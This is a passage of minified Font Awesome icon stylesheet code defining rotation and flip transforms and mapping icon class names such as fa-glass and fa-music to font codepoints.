fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:\"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)\";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:\"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)\";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:\"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)\";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:\"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)\";-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}.fa-flip-vertical{-ms-filter:\"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)\";-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-rotate-90{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:\"\\f000\"}.fa-music:before{content:\"\\f001\"}.fa-search:before{content:\"\\f002\"}.fa-envelope-o:before{content:\"\\f003\"}.fa-heart:before{content:\"\\f004\"}.fa-star:before{content:\"\\f005\"}.fa-star-o:before{content:\"\\f006\"}.fa-user:before{content:\"\\f007\"}.fa-film:before{content:\"\\f008\"}.fa-th-large:before{content:\"\\f009\"}.fa-th:before{content:\"\\f00a\"}.fa-th-list:before{content:\"\\f00b\"}.fa-check:before{content:\"\\f00c\"}.fa-close:before,.fa-remove:before,.fa-times:before{content:\"\\f00d\"}.fa-search-plus:before{content:\"\\f00e\"}.fa-search-minus:before{content:\"\\f010\"}.fa-power-off:before{content:\"\\f011\"}.fa-signal:before{content:\"\\f012\"}.fa-cog:before,.fa-gear:before{content:\"\\f013\"}.fa-trash-o:before{content:\"\\f014\"}.fa-home:before{content:\"\\f015\"}.fa-file-o:before{content:\"\\f016\"}.fa-clock-o:before{content:\"\\f017\"}.fa-road:before{content:\"\\f018\"}.fa-download:before{content:\"\\f019\"}.fa-arrow-circle-o-down:before{content:\"\\f01a\"}.fa-arrow-circle-o-up:before{content:\"\\f01b\"}.fa-inbox:before{content:\"\\f01c\"}.fa-play-circle-o:before{content:\"\\f01d\"}.fa-repeat:before,.fa-rotate-right:before{content:\"\\f01e\"}.fa-refresh:before{content:\"\\f021\"}.fa-list-alt:before{content:\"\\f022\"}.fa-lock:before{content:\"\\f023\"}.fa-flag:before{content:\"\\f024\"}.fa-headphones:before{content:\"\\f025\"}.fa-volume-off:before{content:\"\\f026\"}.fa-volume-down:before{content:\"\\f027\"}.fa-volume-up:before{content:\"\\f028\"}.fa-qrcode:before{content:\"\\f029\"}.fa-barcode:before{content:\"\\f02a\"}.fa-tag:before{content:\"\\f02b\"}.fa-tags:before{content:\"\\f02c\"}.fa-book:before{content:\"\\f02d\"}.fa-bookmark:before{content:\"\\f02e\"}.fa-print:before{content:\"\\f02f\"}.fa-camera:before{content:\"\\f030\"}.fa-font:before{content:\"\\f031\"}.fa-bold:before{content:\"\\f032\"}.fa-italic:before{content:\"\\f033\"}.fa-text-height:before{content:\"\\f034\"}.fa-text-width:before{content:\"\\f035\"}.fa-align-left:before{content:\"\\f036\"}.fa-align-center:before{content:\"\\f037\"}.fa-align-right:before{content:\"\\f038\"}.fa-align-justify:before{content:\"\\f039\"}.fa-list:before{content:\"\\f03a\"}.fa-dedent:before,.fa-outdent:before{content:\"\\f03b\"}.fa-indent:before{content:\"\\f03c\"}.fa-video-camera:before{content:\"\\f03d\"}.fa-image:before,.fa-photo:before,.fa-picture-o:before{content:\"\\f03e\"}.fa-pencil:before{content:\"\\f040\"}.fa-map-marker:before{content:\"\\f041\"}.fa-adjust:before{content:\"\\f042\"}.fa-tint:before{content:\"\\f043\"}.fa-edit:before,.fa-pencil-square-o:before{content:\"\\f044\"}.fa-share-square-o:before{content:\"\\f045\"}.fa-check-square-o:before{content:\"\\f046\"}.fa-arrows:before{content:\"\\f047\"}.fa-step-backward:before{content:\"\\f048\"}.fa-fast-backward:before{content:\"\\f049\"}.fa-backward:before{content:\"\\f04a\"}.fa-play:before{content:\"\\f04b\"}.fa-pause:before{content:\"\\f04c\"}.fa-stop:before{content:\"\\f04d\"}.fa-forward:before{content:\"\\f04e\"}.fa-fast-forward:before{content:\"\\f050\"}.fa-step-forward:before{content:\"\\f051\"}.fa-eject:before{content:\"\\f052\"}.fa-chevron-left:before{content:\"\\f053\"}.fa-chevron-right:before{content:\"\\f054\"}.fa-plus-circle:before{content:\"\\f055\"}.fa-minus-circle:before{content:\"\\f056\"}.fa-times-circle:before{content:\"\\f057\"}.fa-check-circle:before{content:\"\\f058\"}.fa-question-circle:before{content:\"\\f059\"}.fa-info-circle:before{content:\"\\f05a\"}.fa-crosshairs:before{content:\"\\f05b\"}.fa-times-circle-o:before{content:\"\\f05c\"}.fa-check-circle-o:before{content:\"\\f05d\"}.fa-ban:before{content:\"\\f05e\"}.fa-arrow-left:before{content:\"\\f060\"}.fa-arrow-right:before{content:\"\\f061\"}.fa-arrow-up:before{content:\"\\f062\"}.fa-arrow-down:before{content:\"\\f063\"}.fa-mail-forward:before,.fa-share:before{content:\"\\f064\"}.fa-expand:before{content:\"\\f065\"}.fa-compress:before{content:\"\\f066\"}.fa-plus:before{content:\"\\f067\"}.fa-minus:before{content:\"\\f068\"}.fa-asterisk:before{content:\"\\f069\"}.fa-exclamation-circle:before{content:\"\\f06a\"}.fa-gift:before{content:\"\\f06b\"}.fa-leaf:before{content:\"\\f06c\"}.fa-fire:before{content:\"\\f06d\"}.fa-eye:before{content:\"\\f06e\"}.fa-eye-slash:before{content:\"\\f070\"}.fa-exclamation-triangle:before,.fa-warning:before{content:\"\\f071\"}.fa-plane:before{content:\"\\f072\"}.fa-calendar:before{content:\"\\f073\"}.fa-random:before{content:\"\\f074\"}.fa-comment:before{content:\"\\f075\"}.fa-magnet:before{content:\"\\f076\"}.fa-chevron-up:before{content:\"\\f077\"}.fa-chevron-down:before{content:\"\\f078\"}.fa-retweet:before{content:\"\\f079\"}.fa-shopping-cart:before{content:\"\\f07a\"}.fa-folder:before{content:\"\\f07b\"}.fa-folder-open:before{content:\"\\f07c\"}.fa-arrows-v:before{content:\"\\f07d\"}.fa-arrows-h:before{content:\"\\f07e\"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:\"\\f080\"}.fa-twitter-square:before{content:\"\\f081\"}.fa-facebook-square:before{content:\"\\f082\"}.fa-camera-retro:before{content:\"\\f083\"}.fa-key:before{content:\"\\f084\"}.fa-cogs:before,.fa-gears:before{content:\"\\f085\"}.fa-comments:before{content:\"\\f086\"}.fa-thumbs-o-up:before{content:\"\\f087\"}.fa-thumbs-o-down:before{content:\"\\f088\"}.fa-star-half:before{content:\"\\f089\"}.fa-heart-o:before{content:\"\\f08a\"}.fa-sign-out:before{content:\"\\f08b\"}.fa-linkedin-square:before{content:\"\\f08c\"}.fa-thumb-tack:before{content:\"\\f08d\"}.fa-external-link:before{content:\"\\f08e\"}.fa-sign-in:before{content:\"\\f090\"}.fa-trophy:before{content:\"\\f091\"}.fa-github-square:before{content:\"\\f092\"}.fa-upload:before{content:\"\\f093\"}.fa-lemon-o:before{content:\"\\f094\"}.fa-phone:before{content:\"\\f095\"}.fa-square-o:before{content:\"\\f096\"}.fa-bookmark-o:before{content:\"\\f097\"}.fa-phone-square:before{content:\"\\f098\"}.fa-twitter:before{content:\"\\f099\"}.fa-facebook-f:before,.fa-facebook:before{content:\"\\f09a\"}.fa-github:before{content:\"\\f09b\"}.fa-unlock:before{content:\"\\f09c\"}.fa-credit-card:before{content:\"\\f09d\"}.fa-feed:before,.fa-rss:before{content:\"\\f09e\"}.fa-hdd-o:before{content:\"\\f0a0\"}.fa-bullhorn:before{content:\"\\f0a1\"}.fa-bell:before{content:\"\\f0f3\"}.fa-certificate:before{content:\"\\f0a3\"}.fa-hand-o-right:before{content:\"\\f0a4\"}.fa-hand-o-left:before{content:\"\\f0a5\"}.fa-hand-o-up:before{content:\"\\f0a6\"}.fa-hand-o-down:before{content:\"\\f0a7\"}.fa-arrow-circle-left:before{content:\"\\f0a8\"}.fa-arrow-circle-right:before{content:\"\\f0a9\"}.fa-arrow-circle-up:before{content:\"\\f0aa\"}.fa-arrow-circle-down:before{content:\"\\f0ab\"}.fa-globe:before{content:\"\\f0ac\"}.fa-wrench:before{content:\"\\f0ad\"}.fa-tasks:before{content:\"\\f0ae\"}.fa-filter:before{content:\"\\f0b0\"}.fa-briefcase:before{content:\"\\f0b1\"}.fa-arrows-alt:before{content:\"\\f0b2\"}.fa-group:before,.fa-users:before{content:\"\\f0c0\"}.fa-chain:before,.fa-link:before{content:\"\\f0c1\"}.fa-cloud:before{content:\"\\f0c2\"}.fa-flask:before{content:\"\\f0c3\"}.fa-cut:before,.fa-scissors:before{content:\"\\f0c4\"}.fa-copy:before,.fa-files-o:before{content:\"\\f0c5\"}.fa-paperclip:before{content:\"\\f0c6\"}.fa-floppy-o:before,.fa-save:before{content:\"\\f0c7\"}.fa-square:before{content:\"\\f0c8\"}.fa-bars:before,.fa-navicon:before,.fa-reorder:before{content:\"\\f0c9\"}.fa-list-ul:before{content:\"\\f0ca\"}.fa-list-ol:before{content:\"\\f0cb\"}.fa-strikethrough:before{content:\"\\f0cc\"}.fa-underline:before{content:\"\\f0cd\"}.fa-table:before{content:\"\\f0ce\"}.fa-magic:before{content:\"\\f0d0\"}.fa-truck:before{content:\"\\f0d1\"}.fa-pinterest:before{content:\"\\f0d2\"}.fa-pinterest-square:before{content:\"\\f0d3\"}.fa-google-plus-square:before{content:\"\\f0d4\"}.fa-google-plus:before{content:\"\\f0d5\"}.fa-money:before{content:\"\\f0d6\"}.fa-caret-down:before{content:\"\\f0d7\"}.fa-caret-up:before{content:\"\\f0d8\"}.fa-caret-left:before{content:\"\\f0d9\"}.fa-caret-right:before{content:\"\\f0da\"}.fa-columns:before{content:\"\\f0db\"}.fa-sort:before,.fa-unsorted:before{content:\"\\f0dc\"}.fa-sort-desc:before,.fa-sort-down:before{content:\"\\f0dd\"}.fa-sort-asc:before,.fa-sort-up:before{content:\"\\f0de\"}.fa-envelope:before{content:\"\\f0e0\"}.fa-linkedin:before{content:\"\\f0e1\"}.fa-rotate-left:before,.fa-undo:before{content:\"\\f0e2\"}.fa-gavel:before,.fa-legal:before{content:\"\\f0e3\"}.fa-dashboard:before,.fa-tachometer:before{content:\"\\f0e4\"}.fa-comment-o:before{content:\"\\f0e5\"}.fa-comments-o:before{content:\"\\f0e6\"}.fa-bolt:before,.fa-flash:before{content:\"\\f0e7\"}.fa-sitemap:before{content:\"\\f0e8\"}.fa-umbrella:before{content:\"\\f0e9\"}.fa-clipboard:before,.fa-paste:before{content:\"\\f0ea\"}.fa-lightbulb-o:before{content:\"\\f0eb\"}.fa-exchange:before{content:\"\\f0ec\"}.fa-cloud-download:before{content:\"\\f0ed\"}.fa-cloud-upload:before{content:\"\\f0ee\"}.fa-user-md:before{content:\"\\f0f0\"}.fa-stethoscope:before{content:\"\\f0f1\"}.fa-suitcase:before{content:\"\\f0f2\"}.fa-bell-o:before{content:\"\\f0a2\"}.fa-coffee:before{content:\"\\f0f4\"}.fa-cutlery:before{content:\"\\f0f5\"}.fa-file-text-o:before{content:\"\\f0f6\"}.fa-building-o:before{content:\"\\f0f7\"}.fa-hospital-o:before{content:\"\\f0f8\"}.fa-ambulance:before{content:\"\\f0f9\"}.fa-medkit:before{content:\"\\f0fa\"}.fa-fighter-jet:before{content:\"\\f0fb\"}.fa-beer:before{content:\"\\f0fc\"}.fa-h-square:before{content:\"\\f0fd\"}.fa-plus-square:before{content:\"\\f0fe\"}.fa-angle-double-left:before{content:\"\\f100\"}.fa-angle-double-right:before{content:\"\\f101\"}.fa-angle-double-up:before{content:\"\\f102\"}.fa-angle-double-down:before{content:\"\\f103\"}.fa-angle-left:before{content:\"\\f104\"}.fa-angle-right:before{content:\"\\f105\"}.fa-angle-up:before{content:\"\\f106\"}.fa-angle-down:before{content:\"\\f107\"}.fa-desktop:before{content:\"\\f108\"}.fa-laptop:before{content:\"\\f109\"}.fa-tablet:before{content:\"\\f10a\"}.fa-mobile-phone:before,.fa-mobile:before{content:\"\\f10b\"}.fa-circle-o:before{content:\"\\f10c\"}.fa-quote-left:before{content:\"\\f10d\"}.fa-quote-right:before{content:\"\\f10e\"}.fa-spinner:before{content:\"\\f110\"}.fa-circle:before{content:\"\\f111\"}.fa-mail-reply:before,.fa-reply:before{content:\"\\f112\"}.fa-github-alt:before{content:\"\\f113\"}.fa-folder-o:before{content:\"\\f114\"}.fa-folder-open-o:before{content:\"\\f115\"}.fa-smile-o:before{content:\"\\f118\"}.fa-frown-o:before{content:\"\\f119\"}.fa-meh-o:before{content:\"\\f11a\"}.fa-gamepad:before{content:\"\\f11b\"}.fa-keyboard-o:before{content:\"\\f11c\"}.fa-flag-o:before{content:\"\\f11d\"}.fa-flag-checkered:before{content:\"\\f11e\"}.fa-terminal:before{content:\"\\f120\"}.fa-code:before{content:\"\\f121\"}.fa-mail-reply-all:before,.fa-reply-all:before{content:\"\\f122\"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:\"\\f123\"}.fa-location-arrow:before{content:\"\\f124\"}.fa-crop:before{content:\"\\f125\"}.fa-code-fork:before{content:\"\\f126\"}.fa-chain-broken:before,.fa-unlink:before{content:\"\\f127\"}.fa-question:before{content:\"\\f128\"}.fa-info:before{content:\"\\f129\"}.fa-exclamation:before{content:\"\\f12a\"}.fa-superscript:before{content:\"\\f12b\"}.fa-subscript:before{content:\"\\f12c\"}.fa-eraser:before{content:\"\\f12d\"}.fa-puzzle-piece:before{content:\"\\f12e\"}.fa-microphone:before{content:\"\\f130\"}.fa-microphone-slash:before{content:\"\\f131\"}.fa-shield:before{content:\"\\f132\"}.fa-calendar-o:before{content:\"\\f133\"}.fa-fire-extinguisher:before{content:\"\\f134\"}.fa-rocket:before{content:\"\\f135\"}.fa-maxcdn:before{content:\"\\f136\"}.fa-chevron-circle-left:before{content:\"\\f137\"}.fa-chevron-circle-right:before{content:\"\\f138\"}.fa-chevron-circle-up:before{content:\"\\f139\"}.fa-chevron-circle-down:before{content:\"\\f13a\"}.fa-html5:before{content:\"\\f13b\"}.fa-css3:before{content:\"\\f13c\"}.fa-anchor:before{content:\"\\f13d\"}.fa-unlock-alt:before{content:\"\\f13e\"}.fa-bullseye:before{content:\"\\f140\"}.fa-ellipsis-h:before{content:\"\\f141\"}.fa-ellipsis-v:before{content:\"\\f142\"}.fa-rss-square:before{content:\"\\f143\"}.fa-play-circle:before{content:\"\\f144\"}.fa-ticket:before{content:\"\\f145\"}.fa-minus-square:before{content:\"\\f146\"}.fa-minus-square-o:before{content:\"\\f147\"}.fa-level-up:before{content:\"\\f148\"}.fa-level-down:before{content:\"\\f149\"}.fa-check-square:before{content:\"\\f14a\"}.fa-pencil-square:before{content:\"\\f14b\"}.fa-external-link-square:before{content:\"\\f14c\"}.fa-share-square:before{content:\"\\f14d\"}.fa-compass:before{content:\"\\f14e\"}.fa-caret-square-o-down:before,.fa-toggle-down:before{content:\"\\f150\"}.fa-caret-square-o-up:before,.fa-toggle-up:before{content:\"\\f151\"}.fa-caret-square-o-right:before,.fa-toggle-right:before{content:\"\\f152\"}.fa-eur:before,.fa-euro:before{content:\"\\f153\"}.fa-gbp:before{content:\"\\f154\"}.fa-dollar:before,.fa-usd:before{content:\"\\f155\"}.fa-inr:before,.fa-rupee:before{content:\"\\f156\"}.fa-cny:before,.fa-jpy:before,.fa-rmb:before,.fa-yen:before{content:\"\\f157\"}.fa-rouble:before,.fa-rub:before,.fa-ruble:before{content:\"\\f158\"}.fa-krw:before,.fa-won:before{content:\"\\f159\"}.fa-bitcoin:before,.fa-btc:before{content:\"\\f15a\"}.fa-file:before{content:\"\\f15b\"}.fa-file-text:before{content:\"\\f15c\"}.fa-sort-alpha-asc:before{content:\"\\f15d\"}.fa-sort-alpha-desc:before{content:\"\\f15e\"}.fa-sort-amount-asc:before{content:\"\\f160\"}.fa-sort-amount-desc:before{content:\"\\f161\"}.fa-sort-numeric-asc:before{content:\"\\f162\"}.fa-sort-numeric-desc:before{content:\"\\f163\"}.fa-thumbs-up:before{content:\"\\f164\"}.fa-thumbs-down:before{content:\"\\f165\"}.fa-youtube-square:before{content:\"\\f166\"}.fa-youtube:before{content:\"\\f167\"}.fa-xing:before{content:\"\\f168\"}.fa-xing-square:before{content:\"\\f169\"}.fa-youtube-play:before{content:\"\\f16a\"}.fa-dropbox:before{content:\"\\f16b\"}.fa-stack-overflow:before{content:\"\\f16c\"}.fa-instagram:before{content:\"\\f16d\"}.fa-flickr:before{content:\"\\f16e\"}.fa-adn:before{content:\"\\f170\"}.fa-bitbucket:before{content:\"\\f171\"}.fa-bitbucket-square:before{content:\"\\f172\"}.fa-tumblr:before{content:\"\\f173\"}.fa-tumblr-square:before{content:\"\\f174\"}.fa-long-arrow-down:before{content:\"\\f175\"}.fa-long-arrow-up:before{content:\"\\f176\"}.fa-long-arrow-left:before{content:\"\\f177\"}.fa-long-arrow-right:before{content:\"\\f178\"}.fa-apple:before{content:\"\\f179\"}.fa-windows:before{content:\"\\f17a\"}.fa-android:before{content:\"\\f17b\"}.fa-linux:before{content:\"\\f17c\"}.fa-dribbble:before{content:\"\\f17d\"}.fa-skype:before{content:\"\\f17e\"}.fa-foursquare:before{content:\"\\f180\"}.fa-trello:before{content:\"\\f181\"}.fa-female:before{content:\"\\f182\"}.fa-male:before{content:\"\\f183\"}.fa-gittip:before,.fa-gratipay:before{content:\"\\f184\"}.fa-sun-o:before{content:\"\\f185\"}.fa-moon-o:before{content:\"\\f186\"}.fa-archive:before{content:\"\\f187\"}.fa-bug:before{content:\"\\f188\"}.fa-vk:before{content:\"\\f189\"}.fa-weibo:before{content:\"\\f18a\"}.fa-renren:before{content:\"\\f18b\"}.fa-pagelines:before{content:\"\\f18c\"}.fa-stack-exchange:before{content:\"\\f18d\"}.fa-arrow-circle-o-right:before{content:\"\\f18e\"}.fa-arrow-circle-o-left:before{content:\"\\f190\"}.fa-caret-square-o-left:before,.fa-toggle-left:before{content:\"\\f191\"}.fa-dot-circle-o:before{content:\"\\f192\"}.fa-wheelchair:before{content:\"\\f193\"}.fa-vimeo-square:before{content:\"\\f194\"}.fa-try:before,.fa-turkish-lira:before{content:\"\\f195\"}.fa-plus-square-o:before{content:\"\\f196\"}.fa-space-shuttle:before{content:\"\\f197\"}.fa-slack:before{content:\"\\f198\"}.fa-envelope-square:before{content:\"\\f199\"}.fa-wordpress:before{content:\"\\f19a\"}.fa-openid:before{content:\"\\f19b\"}.fa-bank:before,.fa-institution:before,.fa-university:before{content:\"\\f19c\"}.fa-graduation-cap:before,.fa-mortar-board:before{content:\"\\f19d\"}.fa-yahoo:before{content:\"\\f19e\"}.fa-google:before{content:\"\\f1a0\"}.fa-reddit:before{content:\"\\f1a1\"}.fa-reddit-square:before{content:\"\\f1a2\"}.fa-stumbleupon-circle:before{content:\"\\f1a3\"}.fa-stumbleupon:before{content:\"\\f1a4\"}.fa-delicious:before{content:\"\\f1a5\"}.fa-digg:before{content:\"\\f1a6\"}.fa-pied-piper-pp:before{content:\"\\f1a7\"}.fa-pied-piper-alt:before{content:\"\\f1a8\"}.fa-drupal:before{content:\"\\f1a9\"}.fa-joomla:before{content:\"\\f1aa\"}.fa-language:before{content:\"\\f1ab\"}.fa-fax:before{content:\"\\f1ac\"}.fa-building:before{content:\"\\f1ad\"}.fa-child:before{content:\"\\f1ae\"}.fa-paw:before{content:\"\\f1b0\"}.fa-spoon:before{content:\"\\f1b1\"}.fa-cube:before{content:\"\\f1b2\"}.fa-cubes:before{content:\"\\f1b3\"}.fa-behance:before{content:\"\\f1b4\"}.fa-behance-square:before{content:\"\\f1b5\"}.fa-steam:before{content:\"\\f1b6\"}.fa-steam-square:before{content:\"\\f1b7\"}.fa-recycle:before{content:\"\\f1b8\"}.fa-automobile:before,.fa-car:before{content:\"\\f1b9\"}.fa-cab:before,.fa-taxi:before{content:\"\\f1ba\"}.fa-tree:before{content:\"\\f1bb\"}.fa-spotify:before{content:\"\\f1bc\"}.fa-deviantart:before{content:\"\\f1bd\"}.fa-soundcloud:before{content:\"\\f1be\"}.fa-database:before{content:\"\\f1c0\"}.fa-file-pdf-o:before{content:\"\\f1c1\"}.fa-file-word-o:before{content:\"\\f1c2\"}.fa-file-excel-o:before{content:\"\\f1c3\"}.fa-file-powerpoint-o:before{content:\"\\f1c4\"}.fa-file-image-o:before,.fa-file-photo-o:before,.fa-file-picture-o:before{content:\"\\f1c5\"}.fa-file-archive-o:before,.fa-file-zip-o:before{content:\"\\f1c6\"}.fa-file-audio-o:before,.fa-file-sound-o:before{content:\"\\f1c7\"}.fa-file-movie-o:before,.fa-file-video-o:before{content:\"\\f1c8\"}.fa-file-code-o:before{content:\"\\f1c9\"}.fa-vine:before{content:\"\\f1ca\"}.fa-codepen:before{content:\"\\f1cb\"}.fa-jsfiddle:before{content:\"\\f1cc\"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-ring:before,.fa-life-saver:before,.fa-support:before{content:\"\\f1cd\"}.fa-circle-o-notch:before{content:\"\\f1ce\"}.fa-ra:before,.fa-rebel:before,.fa-resistance:before{content:\"\\f1d0\"}.fa-empire:before,.fa-ge:before{content:\"\\f1d1\"}.fa-git-square:before{content:\"\\f1d2\"}.fa-git:before{content:\"\\f1d3\"}.fa-hacker-news:before,.fa-y-combinator-square:before,.fa-yc-square:before{content:\"\\f1d4\"}.fa-tencent-weibo:before{content:\"\\f1d5\"}.fa-qq:before{content:\"\\f1d6\"}.fa-wechat:before,.fa-weixin:before{content:\"\\f1d7\"}.fa-paper-plane:before,.fa-send:before{content:\"\\f1d8\"}.fa-paper-plane-o:before,.fa-send-o:before{content:\"\\f1d9\"}.fa-history:before{content:\"\\f1da\"}.fa-circle-thin:before{content:\"\\f1db\"}.fa-header:before{content:\"\\f1dc\"}.fa-paragraph:before{content:\"\\f1dd\"}.fa-sliders:before{content:\"\\f1de\"}.fa-share-alt:before{content:\"\\f1e0\"}.fa-share-alt-square:before{content:\"\\f1e1\"}.fa-bomb:before{content:\"\\f1e2\"}.fa-futbol-o:before,.fa-soccer-ball-o:before{content:\"\\f1e3\"}.fa-tty:before{content:\"\\f1e4\"}.fa-binoculars:before{content:\"\\f1e5\"}.fa-plug:before{content:\"\\f1e6\"}.fa-slideshare:before{content:\"\\f1e7\"}.fa-twitch:before{content:\"\\f1e8\"}.fa-yelp:before{content:\"\\f1e9\"}.fa-newspaper-o:before{content:\"\\f1ea\"}.fa-wifi:before{content:\"\\f1eb\"}.fa-calculator:before{content:\"\\f1ec\"}.fa-paypal:before{content:\"\\f1ed\"}.fa-google-wallet:before{content:\"\\f1ee\"}.fa-cc-visa:before{content:\"\\f1f0\"}.fa-cc-mastercard:before{content:\"\\f1f1\"}.fa-cc-discover:before{content:\"\\f1f2\"}.fa-cc-amex:before{content:\"\\f1f3\"}.fa-cc-paypal:before{content:\"\\f1f4\"}.fa-cc-stripe:before{content:\"\\f1f5\"}.fa-bell-slash:before{content:\"\\f1f6\"}.fa-bell-slash-o:before{content:\"\\f1f7\"}.fa-trash:before{content:\"\\f1f8\"}.fa-copyright:before{content:\"\\f1f9\"}.fa-at:before{content:\"\\f1fa\"}.fa-eyedropper:before{content:\"\\f1fb\"}.fa-paint-brush:before{content:\"\\f1fc\"}.fa-birthday-cake:before{content:\"\\f1fd\"}.fa-area-chart:before{content:\"\\f1fe\"}.fa-pie-chart:before{content:\"\\f200\"}.fa-line-chart:before{content:\"\\f201\"}.fa-lastfm:before{content:\"\\f202\"}.fa-lastfm-square:before{content:\"\\f203\"}.fa-toggle-off:before{content:\"\\f204\"}.fa-toggle-on:before{content:\"\\f205\"}.fa-bicycle:before{content:\"\\f206\"}.fa-bus:before{content:\"\\f207\"}.fa-ioxhost:before{content:\"\\f208\"}.fa-angellist:before{content:\"\\f209\"}.fa-cc:before{content:\"\\f20a\"}.fa-ils:before,.fa-shekel:before,.fa-sheqel:before{content:\"\\f20b\"}.fa-meanpath:before{content:\"\\f20c\"}.fa-buysellads:before{content:\"\\f20d\"}.fa-connectdevelop:before{content:\"\\f20e\"}.fa-dashcube:before{content:\"\\f210\"}.fa-forumbee:before{content:\"\\f211\"}.fa-leanpub:before{content:\"\\f212\"}.fa-sellsy:before{content:\"\\f213\"}.fa-shirtsinbulk:before{content:\"\\f214\"}.fa-simplybuilt:before{content:\"\\f215\"}.fa-skyatlas:before{content:\"\\f216\"}.fa-cart-plus:before{content:\"\\f217\"}.fa-cart-arrow-down:before{content:\"\\f218\"}.fa-diamond:before{content:\"\\f219\"}.fa-ship:before{content:\"\\f21a\"}.fa-user-secret:before{content:\"\\f21b\"}.fa-motorcycle:before{content:\"\\f21c\"}.fa-street-view:before{content:\"\\f21d\"}.fa-heartbeat:before{content:\"\\f21e\"}.fa-venus:before{content:\"\\f221\"}.fa-mars:before{content:\"\\f222\"}.fa-mercury:before{content:\"\\f223\"}.fa-intersex:before,.fa-transgender:before{content:\"\\f224\"}.fa-transgender-alt:before{content:\"\\f225\"}.fa-venus-double:before{content:\"\\f226\"}.fa-mars-double:before{content:\"\\f227\"}.fa-venus-mars:before{content:\"\\f228\"}.fa-mars-stroke:before{content:\"\\f229\"}.fa-mars-stroke-v:before{content:\"\\f22a\"}.fa-mars-stroke-h:before{content:\"\\f22b\"}.fa-neuter:before{content:\"\\f22c\"}.fa-genderless:before{content:\"\\f22d\"}.fa-facebook-official:before{content:\"\\f230\"}.fa-pinterest-p:before{content:\"\\f231\"}.fa-whatsapp:before{content:\"\\f232\"}.fa-server:before{content:\"\\f233\"}.fa-user-plus:before{content:\"\\f234\"}.fa-user-times:before{content:\"\\f235\"}.fa-bed:before,.fa-hotel:before{content:\"\\f236\"}.fa-viacoin:before{content:\"\\f237\"}.fa-train:before{content:\"\\f238\"}.fa-subway:before{content:\"\\f239\"}.fa-medium:before{content:\"\\f23a\"}.fa-y-combinator:before,.fa-yc:before{content:\"\\f23b\"}.fa-optin-monster:before{content:\"\\f23c\"}.fa-opencart:before{content:\"\\f23d\"}.fa-expeditedssl:before{content:\"\\f23e\"}.fa-battery-4:before,.fa-battery-full:before{content:\"\\f240\"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:\"\\f241\"}.fa-battery-2:before,.fa-battery-half:before{content:\"\\f242\"}.fa-battery-1:before,.fa-battery-quarter:before{content:\"\\f243\"}.fa-battery-0:before,.fa-battery-empty:before{content:\"\\f244\"}.fa-mouse-pointer:before{content:\"\\f245\"}.fa-i-cursor:before{content:\"\\f246\"}.fa-object-group:before{content:\"\\f247\"}.fa-object-ungroup:before{content:\"\\f248\"}.fa-sticky-note:before{content:\"\\f249\"}.fa-sticky-note-o:before{content:\"\\f24a\"}.fa-cc-jcb:before{content:\"\\f24b\"}.fa-cc-diners-club:before{content:\"\\f24c\"}.fa-clone:before{content:\"\\f24d\"}.fa-balance-scale:before{content:\"\\f24e\"}.fa-hourglass-o:before{content:\"\\f250\"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:\"\\f251\"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:\"\\f252\"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:\"\\f253\"}.fa-hourglass:before{content:\"\\f254\"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:\"\\f255\"}.fa-hand-paper-o:before,.fa-hand-stop-o:before{content:\"\\f256\"}.fa-hand-scissors-o:before{content:\"\\f257\"}.fa-hand-lizard-o:before{content:\"\\f258\"}.fa-hand-spock-o:before{content:\"\\f259\"}.fa-hand-pointer-o:before{content:\"\\f25a\"}.fa-hand-peace-o:before{content:\"\\f25b\"}.fa-trademark:before{content:\"\\f25c\"}.fa-registered:before{content:\"\\f25d\"}.fa-creative-commons:before{content:\"\\f25e\"}.fa-gg:before{content:\"\\f260\"}.fa-gg-circle:before{content:\"\\f261\"}.fa-tripadvisor:before{content:\"\\f262\"}.fa-odnoklassniki:before{content:\"\\f263\"}.fa-odnoklassniki-square:before{content:\"\\f264\"}.fa-get-pocket:before{content:\"\\f265\"}.fa-wikipedia-w:before{content:\"\\f266\"}.fa-safari:before{content:\"\\f267\"}.fa-chrome:before{content:\"\\f268\"}.fa-firefox:before{content:\"\\f269\"}.fa-opera:before{content:\"\\f26a\"}.fa-internet-explorer:before{content:\"\\f26b\"}.fa-television:before,.fa-tv:before{content:\"\\f26c\"}.fa-contao:before{content:\"\\f26d\"}.fa-500px:before{content:\"\\f26e\"}.fa-amazon:before{content:\"\\f270\"}.fa-calendar-plus-o:before{content:\"\\f271\"}.fa-calendar-minus-o:before{content:\"\\f272\"}.fa-calendar-times-o:before{content:\"\\f273\"}.fa-calendar-check-o:before{content:\"\\f274\"}.fa-industry:before{content:\"\\f275\"}.fa-map-pin:before{content:\"\\f276\"}.fa-map-signs:before{content:\"\\f277\"}.fa-map-o:before{content:\"\\f278\"}.fa-map:before{content:\"\\f279\"}.fa-commenting:before{content:\"\\f27a\"}.fa-commenting-o:before{content:\"\\f27b\"}.fa-houzz:before{content:\"\\f27c\"}.fa